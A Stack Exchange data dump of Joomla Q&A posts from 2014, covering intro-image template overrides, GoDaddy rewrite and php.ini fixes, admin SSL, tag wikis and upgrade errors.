  <row Id="5253" PostTypeId="2" ParentId="2538" CreationDate="2014-11-15T17:07:40.803" Score="0" Body="&lt;h2&gt;Intro Image with link to the article : Template override&lt;/h2&gt;&#xA;Following Bakual's answer on **where to place the override for the intro-image**, here is a sample code for a template override for intro-image layout, that linking to the article. It checks if the user has view access to read the full article and then generates the link accordingly (same like the generation of the article title).&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;$params  = $displayData-&amp;gt;params;&#xA;if ($params-&amp;gt;get('access-view')) :&#xA;    $link = JRoute::_(ContentHelperRoute::getArticleRoute($displayData-&amp;gt;slug, $displayData-&amp;gt;catid));&#xA;else :&#xA;    $menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;    $active = $menu-&amp;gt;getActive();&#xA;    $itemId = $active-&amp;gt;id;&#xA;    $link1 = JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;Itemid=' . $itemId);&#xA;    $returnURL = JRoute::_(ContentHelperRoute::getArticleRoute($displayData-&amp;gt;item-&amp;gt;slug, $displayData-&amp;gt;item-&amp;gt;catid));&#xA;    $link = new JUri($link1);&#xA;    $link-&amp;gt;setVar('return', base64_encode($returnURL));&#xA;endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php $images = json_decode($displayData-&amp;gt;images); ?&amp;gt;&#xA;&amp;lt;?php if (!empty($images-&amp;gt;image_intro)) : ?&amp;gt;&#xA;    &amp;lt;?php $imgfloat = (empty($images-&amp;gt;float_intro)) ? $params-&amp;gt;get('float_intro') : $images-&amp;gt;float_intro; ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;pull-&amp;lt;?php echo htmlspecialchars($imgfloat); ?&amp;gt; item-image&amp;quot;&amp;gt;&#xA;        &amp;lt;a href=&amp;quot;&amp;lt;?php echo $link; ?&amp;gt;&amp;quot;&amp;gt;&#xA;            &amp;lt;img&#xA;            &amp;lt;?php if ($images-&amp;gt;image_intro_caption):&#xA;                echo 'class=&amp;quot;caption&amp;quot;' . ' title=&amp;quot;' . htmlspecialchars($images-&amp;gt;image_intro_caption) . '&amp;quot;';&#xA;            endif; ?&amp;gt;&#xA;                src=&amp;quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro); ?&amp;gt;&amp;quot; alt=&amp;quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt); ?&amp;gt;&amp;quot; itemprop=&amp;quot;thumbnailUrl&amp;quot;/&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;br /&gt;&#xA;&lt;h3&gt;Further References:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Layout Overrides in Joomla.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;How to override the output of Joomla core&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/search?q=template%20override&quot;&gt;&lt;strong&gt;Search link in JSE for overrides&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="12352" LastEditDate="2021-07-15T21:59:27.167" LastActivityDate="2021-07-15T21:59:27.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5254" PostTypeId="2" ParentId="5251" CreationDate="2014-11-15T17:39:43.903" Score="1" Body="&lt;p&gt;From a quick google search I did, this seems to be a GoDaddy server issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below you will find some troubleshooting steps, copied from a similar &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?p=2700376&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;thread in joomla.org forum&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) From the Joomla Control Panel go to &quot;global setting&quot; and under the Site Tab turn off SEF and Apache (&quot;Use URL rewriting&quot; for 1.7 users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Now move your .htaccess file to your computer via FTP if you don't have this file move htaccess.txt to your pc and open the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Remove any #'s if any from RewriteEngine On and RewriteBase /&#xA;Note: if your site is on a sub-directory the above should appear like this &#xA;RewriteBase /yourJoomlaRootFolder/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Search for Options +FollowSymLinks and add the below right after it.&#xA;Options -MultiViews&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Save the file and move it back to your server. *If the file was originally named htaccess.txt rename it to .htaccess and then move it back to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Turn on SEF and Apache (&quot;Use URL rewriting&quot; for 1.7 users)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) Now Check to see if it is working. If it still isn't working or its happening less frequently move on to step 8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your Joomla root directory look for &quot;php.ini&quot; and rename it &quot;php5.ini&quot; (no quotes). If the file does not exist on your local computer open notepad if it does test again to see if it works. If it doesn't proceed to step 9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9) Move the new php5.ini file to your computer (if it didn't exist keep notepad open)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10) Add this line, &quot;cgi.fix_pathinfo = 1&quot; (no quotes), to the document and save the file by going to File -&gt; Save As -&gt; under Save as type change it to All Files -&gt; Change the file name to php5.ini if it isn't already named that.&#xA;Note: You may also want to add the below to the document to change your&#xA;max doc upload to joomla (you may edit it as needed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgi.fix_pathinfo = 1&#xA;memory_limit = 50M&#xA;post_max_size = 10M&#xA;file_uploads = On&#xA;upload_max_filesize = 10M&#xA;upload_tmp_dir = /home/content/55/6067155/html/tmp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;11) Check your site thoroughly again before moving on to the last step which solved my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;12) Login to your Godaddy Account. Go to your hosting account.&#xA;Go to Settings &gt; File Extensions Management&#xA;and edit .php and .php5 from &quot;PHP5.2xFastCGI&quot; to &quot;PHP5.2X&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;13) Test out your site if this still doesn't work &lt;strong&gt;Contact GoDaddy&lt;/strong&gt; and make sure you send them all of the above information because you may have a server issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also check this question: &lt;a href=&quot;https://stackoverflow.com/questions/15619273/joomla-no-input-file-specified-on-godaddy-server&quot;&gt;« Joomla “No input file specified” on GoDaddy server »&lt;/a&gt; in SO&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-11-15T17:39:43.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5255" PostTypeId="2" ParentId="5248" CreationDate="2014-11-15T18:33:15.940" Score="3" Body="&lt;p&gt;Yes, you can change components/com_content/views/category/tmpl/blog_item.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that file, line 55, it shows how to generate an Url to the article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$link = JRoute::_(ContentHelperRoute::getArticleRoute($this-&amp;gt;item-&amp;gt;slug, $this-&amp;gt;item-&amp;gt;catid));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In line 41, it shows how the images is generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.content.intro_image', $this-&amp;gt;item); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can combine both to add the link to the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, remember to create blog_item.php as a layout component override at template level (instead of changing the core file). &lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides#Layouts&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides#Layouts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-15T18:33:15.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5256" PostTypeId="1" AcceptedAnswerId="5257" CreationDate="2014-11-15T18:38:48.203" Score="4" ViewCount="909" Body="&lt;p&gt;Is Joomla backend without https:// secure from hackers grabbing the password and login details?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you get away without having an ssl certificate for a very basic site with no e-commerce or data entered by users? The only thing at risk being the Webmasters admin details for the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerDisplayName="user2205" LastActivityDate="2014-11-15T19:34:45.103" Title="Why doesn't the admin page for Joomla have https:// ssl encryption?" Tags="|joomla-2.5|security|administrator|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5257" PostTypeId="2" ParentId="5256" CreationDate="2014-11-15T19:34:45.103" Score="5" Body="&lt;p&gt;SSL certificates are a means of protecting against &quot;man in the middle&quot; attacks: &lt;a href=&quot;http://en.wikipedia.org/wiki/Man-in-the-middle_attack&quot; rel=&quot;noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Man-in-the-middle_attack&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without an SSL certificate it is possible for the request from your browser to the server to be intercepted and for the interceptor to read your password out of the request, since the password will just be in plain text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using an SSL certificate, then the request would be encrypted, so even though the request could be intercepted, the interceptor would have to decrypt the request to be able to see the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, you would have an SSL certificate, and there is a big push to get more and more sites using SSL certificates, such as Google now factoring whether a site supports SSL into their rankings: &lt;a href=&quot;http://searchengineland.com/google-starts-giving-ranking-boost-secure-httpsssl-sites-199446&quot; rel=&quot;noreferrer&quot;&gt;http://searchengineland.com/google-starts-giving-ranking-boost-secure-httpsssl-sites-199446&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are really 2 key takeaways from this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The data is only at risk while the request is being made. A hacker has to be able to do a man in the middle attack to benefit from the lack of an SSL certificate. This is obviously a possibility, but typically not the biggest risk for a small, non-ecommerce site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The reason that Joomla does not default to SSL for the admin page is that SSL is required to be installed on the server, not provided by code that you can just download. Since basically all Joomla is self-hosted, you have to work with your hosting provider to add the SSL certificate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I highly recommend adding one if you can. There are even free certificates available here: &lt;a href=&quot;https://www.startssl.com/&quot; rel=&quot;noreferrer&quot;&gt;https://www.startssl.com/&lt;/a&gt;. Many hosts charge an install fee though, so rarely can you get away without any cost to adding the certificate. &lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-11-15T19:34:45.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5258" PostTypeId="5" CreationDate="2014-11-15T21:31:33.747" Score="0" Body="&lt;h1&gt;Menu Item&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In Joomla! Menu Items are used as part of a &lt;strong&gt;&lt;a href=&quot;http://docs.joomla.org/Menu&quot; rel=&quot;nofollow noreferrer&quot;&gt;Menu&lt;/a&gt;&lt;/strong&gt;, to create pages, that load a pre-defined type of content determined by the Menu Item Type. Those pages will be accessible by a static URL (&lt;a href=&quot;http://docs.joomla.org/Help33:Menus_Menu_Item_Menu_Item_Alias&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;menu-item alias&lt;/strong&gt;&lt;/a&gt;), which we can specify while &lt;a href=&quot;http://docs.joomla.org/Adding_a_new_menu_item&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;creating the menu item&lt;/strong&gt;&lt;/a&gt;. &#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Menu Item Types&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We can find many different menu item types in Joomla. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Articles&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The most common are the &lt;strong&gt;Articles&lt;/strong&gt; type (from the Joomla! core content component), that let us create pages of a single article, category articles blog layout, category articles lists etc.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Components&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In addition, every &lt;a href=&quot;http://docs.joomla.org/Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;component&lt;/strong&gt;&lt;/a&gt; in Joomla! provides its own menu items types, to create pages that will display their content or feature their functionality in a specific layout (e.g. users component -&gt; registration form, contacts component -&gt; contact form, search component -&gt; search form/results page, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, a Menu Item has settings, that can control the layout and presentation of the page that is responsible to display (e.g. show/hide page titles or images, select template options for a page, and more).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;System Links&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Lastly, there are 4 more types of special Menu Items, called System Links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;External Link&lt;/strong&gt;&lt;br&gt;&#xA;Lets you link to an external site. There may be occasions where you also want to point to a link directly to a page on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Separator&lt;/strong&gt;&lt;br&gt;&#xA;This lets you make a text or image only (non-linkable) menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alias&lt;/strong&gt;&lt;br&gt;&#xA;Lets you make a link matching an existing menu item. This avoids the problem of having multiple URLs pointing to the same content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Menu Heading&lt;/strong&gt;&lt;br&gt;&#xA;A heading for use within menus, useful when separating menus with a separator.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="9471" LastEditDate="2018-10-08T11:02:44.647" LastActivityDate="2018-10-08T11:02:44.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5259" PostTypeId="4" CreationDate="2014-11-15T21:31:33.747" Score="0" Body="In Joomla! Menu Items are used as part of a menu, to create pages, that load a pre-defined type of content determined by the Menu Item Type. Those pages will be accessible by a static URL (menu-item alias), that we can specify while creating the menu item. Menu Items also hold layout and presentation information about the page (e.g. show/hide page titles, images, template options for a page, and more)." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-15T22:44:06.710" LastActivityDate="2014-11-15T22:44:06.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5260" PostTypeId="5" CreationDate="2014-11-16T01:06:28.143" Score="0" Body="" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-11-16T01:06:28.143" LastActivityDate="2014-11-16T01:06:28.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5261" PostTypeId="4" CreationDate="2014-11-16T01:06:28.143" Score="0" Body="For questions regarding Joomla's built-in article manager component" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-11-16T01:06:28.143" LastActivityDate="2014-11-16T01:06:28.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5263" PostTypeId="2" ParentId="5184" CreationDate="2014-11-16T08:16:19.527" Score="0" Body="&lt;pre&gt;&lt;code&gt;sync; echo 3 &amp;gt; /proc/sys/vm/drop_caches &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the command used in centos to completely clear caches and after that still got the error but at least everything is working now.&lt;/p&gt;&#xA;" OwnerUserId="2178" LastActivityDate="2014-11-16T08:16:19.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5264" PostTypeId="1" AcceptedAnswerId="5272" CreationDate="2014-11-16T08:25:31.937" Score="0" ViewCount="137" Body="&lt;p&gt;I have created the index.php and templateDetails.xml file along with css and js and images folders then zipped it all and got it discovered on joomla 3.3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trouble is because I added in my index.php html code for the menu and a js slider which works fine with a link to the js and css in the head , the menu and header with slider are at the bottom of the page and I don't know how to position it to the top in my custom template via module manager or by going to menus and trying to place it in position of custom template. There seems to be no option like there is with other templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on preview of my custom template it shows basic positions but there is none listed in corresponding elements I've created by just adding the html to my template.&lt;/p&gt;&#xA;" OwnerUserId="2178" LastActivityDate="2014-11-17T09:14:58.377" Title="How to position content in custom template?" Tags="|templates|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5265" PostTypeId="5" CreationDate="2014-11-16T08:41:29.290" Score="0" Body="&lt;p&gt;The main purpose in modern Content Management Systems like Joomla!, is to give the ability to the end user to create and edit content easily. This is done with the integration of software called &lt;strong&gt;Content Editors&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most Content Editors implement a &lt;strong&gt;user-friendly interface&lt;/strong&gt; with content editing tools, similar to a desktop word-processing application, that allows the user to view a result almost similar to the end result, while he is creating the content for a page. These are the so-called &lt;strong&gt;WYSIWYG&lt;/strong&gt; Editors - &lt;strong&gt;W&lt;/strong&gt;hat &lt;strong&gt;Y&lt;/strong&gt;ou &lt;strong&gt;S&lt;/strong&gt;ee &lt;strong&gt;I&lt;/strong&gt;s &lt;strong&gt;W&lt;/strong&gt;hat &lt;strong&gt;Y&lt;/strong&gt;ou &lt;strong&gt;G&lt;/strong&gt;et.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general WYSIWYG implies the ability to directly manipulate the layout of a document without having to type or remember names of layout commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! comes with the &lt;strong&gt;TinyMCE&lt;/strong&gt; editor pre-installed, which can be an adequate solution for many average users. There are however a lot of 3rd party editors available for Joomla, that offer more features, flexibility, extensibility with the use of plugins, while are still user-friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3 most popular WYSIWYG Editors in Joomla are:&lt;br&gt;&#xA; - &lt;strong&gt;JCE Editor&lt;/strong&gt;&lt;br&gt;&#xA; - &lt;strong&gt;JCK Editor&lt;/strong&gt;&lt;br&gt;&#xA; - &lt;strong&gt;CKEditor&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/edition/editors&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Joomla JED - Content Editors Category&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-16T15:32:01.743" LastActivityDate="2014-11-16T15:32:01.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5266" PostTypeId="4" CreationDate="2014-11-16T08:41:29.290" Score="0" Body="For questions related to the available content editors in Joomla! like TinyMCE, JCE, JCK,CKEditor..." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-16T15:32:11.640" LastActivityDate="2014-11-16T15:32:11.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5267" PostTypeId="1" CreationDate="2014-11-16T12:12:02.347" Score="2" ViewCount="1308" Body="&lt;p&gt;Whilst trying to upgrade to Joomla 3.3, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1146 - An error has occurred.&#xA;&#xA;Table smilyo_skc.xv36g_postinstall_messages doesn't exist SQL=SHOW FULL COLUMNS FROM xv36g_postinstall_messages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Return to Control Panel&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call stack&#xA;&#xA;#       Function        Location    &#xA;1       JApplicationCms-&amp;gt;execute()      /home/smilyo/public_html/skcca.com/administrator/index.php:42   &#xA;2       JApplicationAdministrator-&amp;gt;doExecute()      /home/smilyo/public_html/skcca.com/libraries/cms/application/cms.php:251    &#xA;3       JApplicationAdministrator-&amp;gt;dispatch()       /home/smilyo/public_html/skcca.com/libraries/cms/application/administrator.php:159  &#xA;4       JComponentHelper::renderComponent()     /home/smilyo/public_html/skcca.com/libraries/cms/application/administrator.php:98   &#xA;5       JComponentHelper::executeComponent()        /home/smilyo/public_html/skcca.com/libraries/cms/component/helper.php:332   &#xA;6       require_once()      /home/smilyo/public_html/skcca.com/libraries/cms/component/helper.php:352   &#xA;7       JControllerLegacy-&amp;gt;execute()        /home/smilyo/public_html/skcca.com/administrator/components/com_cpanel/cpanel.php:15    &#xA;8       JControllerLegacy-&amp;gt;display()        /home/smilyo/public_html/skcca.com/libraries/legacy/controller/legacy.php:730   &#xA;9       CpanelViewCpanel-&amp;gt;display()     /home/smilyo/public_html/skcca.com/libraries/legacy/controller/legacy.php:693   &#xA;10      FOFModel-&amp;gt;getItemList()     /home/smilyo/public_html/skcca.com/administrator/components/com_cpanel/views/cpanel/view.html.php:59    &#xA;11      PostinstallModelMessages-&amp;gt;buildQuery()      /home/smilyo/public_html/skcca.com/libraries/fof/model/model.php:1152   &#xA;12      FOFModel-&amp;gt;buildQuery()      /home/smilyo/public_html/skcca.com/administrator/components/com_postinstall/models/messages.php:32  &#xA;13      FOFUtilsObservableDispatcher-&amp;gt;trigger()     /home/smilyo/public_html/skcca.com/libraries/fof/model/model.php:2033   &#xA;14      FOFUtilsObservableEvent-&amp;gt;update()       /home/smilyo/public_html/skcca.com/libraries/fof/utils/observable/dispatcher.php:146    &#xA;15      call_user_func_array()      /home/smilyo/public_html/skcca.com/libraries/fof/utils/observable/event.php:63  &#xA;16      FOFModelBehaviorFilters-&amp;gt;onAfterBuildQuery()            &#xA;17      FOFModel-&amp;gt;getTableFields()      /home/smilyo/public_html/skcca.com/libraries/fof/model/behavior/filters.php:35  &#xA;18      JDatabaseDriverMysqli-&amp;gt;getTableColumns()        /home/smilyo/public_html/skcca.com/libraries/fof/model/model.php:2049   &#xA;19      JDatabaseDriver-&amp;gt;loadObjectList()       /home/smilyo/public_html/skcca.com/libraries/joomla/database/driver/mysqli.php:397  &#xA;20      JDatabaseDriverMysqli-&amp;gt;execute()        /home/smilyo/public_html/skcca.com/libraries/joomla/database/driver.php:1281  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla! Debug Console Session Profile Information Memory Usage Database Queries&lt;/p&gt;&#xA;" OwnerUserId="2207" LastEditorUserId="168" LastEditDate="2014-11-16T12:13:17.420" LastActivityDate="2014-11-17T08:02:40.743" Title="Error after upgrading to joomla 3.3" Tags="|joomla-3.x|upgrade|error-reporting|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5268" PostTypeId="1" CreationDate="2014-11-16T21:32:22.453" Score="2" ViewCount="1093" Body="&lt;p&gt;I have a site with some performance issues. I have tried to debug it with no much luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;Application 0.527 seconds (+0.004); 6.93 MB (+0.018) - afterRenderModule mod_banners (Publicidad Leaderboard)&#xA;Application 10.656 seconds (+10.129); 7.01 MB (+0.083) - afterRender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a gap of 10 seconds and I have no idea where to look. Start disabling / enabling plugins and modules is like overkill the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the search for a solution I found that the gap is related to the first time the the cache is generated. This seems to be an expected behaviour, so, it's ok. However, after the system has the cache ready:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Application 0.470 seconds (+0.004); 6.72 MB (+0.019) - afterRenderModule mod_banners (Publicidad Leaderboard)&#xA;Application 0.984 seconds (+0.514); 6.76 MB (+0.043) - afterRender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Half a second may not be much, but when it comes from 'no where', at least for me it's a matter to worry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm wondering if there is a way to extract more information between the afterRender of the last module and the final afterRender so i can figure out what part tune up.&lt;/p&gt;&#xA;" OwnerUserId="1991" LastActivityDate="2014-11-17T13:20:20.137" Title="How to debug Joomla! after render the last module?" Tags="|joomla-2.5|performance|debug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5269" PostTypeId="2" ParentId="5267" CreationDate="2014-11-17T08:02:40.743" Score="2" Body="&lt;p&gt;You should try to fix the database. Go to &quot;Extensions Manager&quot; -&gt; choose &quot;Database&quot; in the sidebar menu -&gt; click &quot;Fix&quot; button.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-11-17T08:02:40.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5270" PostTypeId="1" CreationDate="2014-11-17T08:07:45.947" Score="2" ViewCount="1352" Body="&lt;p&gt;I am unable to login through admin panel of my Joomla 3.3 site. I do not know why this happens each time a new website is launched. To address this issue, I tried to change my password by login to PHPMyAdmin page (GoDaddy cPanel). As I could not recollect the password that I set for PHPMyAdmin, I reset password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the site is not live even frontend. Getting the message both on frontend and backend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Error displaying the error page: Application Instantiation Error: Could not connect to MySQL.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happened with me earlier and I was told not to reset password for PHPMyAdmin. In that case, I somehow recollected the original password. If that's the reason, the way forward is perhaps taking backup of existing MySQL which is still with me on my cPanel and restoring the same fresh with a new username and password. Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2015-01-16T12:54:21.170" Title="Unable to login through admin panel of Joomla 3.3 site" Tags="|account-password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5271" PostTypeId="2" ParentId="5270" CreationDate="2014-11-17T08:19:13.513" Score="0" Body="&lt;p&gt;I would not suggest resetting your password via PHPmyAdmin unless you know what you're doing. Joomla 3.x uses &lt;code&gt;bycrypt&lt;/code&gt; to you need to make sure you use the correct hash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the error you're getting isn't anything to with invalid login details. It simply means that it can't connect to the database because one or more of the database credentials are invalid. Double check your database details, then open the &lt;strong&gt;configuration.php&lt;/strong&gt; and change the database setting accordingly.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-17T08:19:13.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5272" PostTypeId="2" ParentId="5264" CreationDate="2014-11-17T09:14:58.377" Score="3" Body="&lt;p&gt;Because you have added your markup directly to index.php you cannot position it with module manager, as that controls the visibility, content and position of defined modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you should add your slider markup as a new custom html module, in module manager, and then assign it to a position in your template. In the case of a menu it would be better to use the menu module, as the content can then be controlled directly from the module manager. Just assign a menu module to the position you want your menu to show in and publish it.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-11-17T09:14:58.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5273" PostTypeId="2" ParentId="5249" CreationDate="2014-11-17T09:21:32.387" Score="1" Body="&lt;p&gt;You don't need any third-party extension for this, just use a category blog layout and an override to wrap the link around the article intro-image, exactly as described in your other question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5248/category-blog-open-article-on-intro-image-click&quot;&gt;Category Blog - open article on intro image click&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been doing exactly this in the template I built this week. The image below shows a category blog view, images link directly to the article and show article title and details on hover. No extensions just native Joomla functionality. Responsive image gird positioning and hover effects done entirely with css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bHsz2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-11-19T17:40:08.743" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
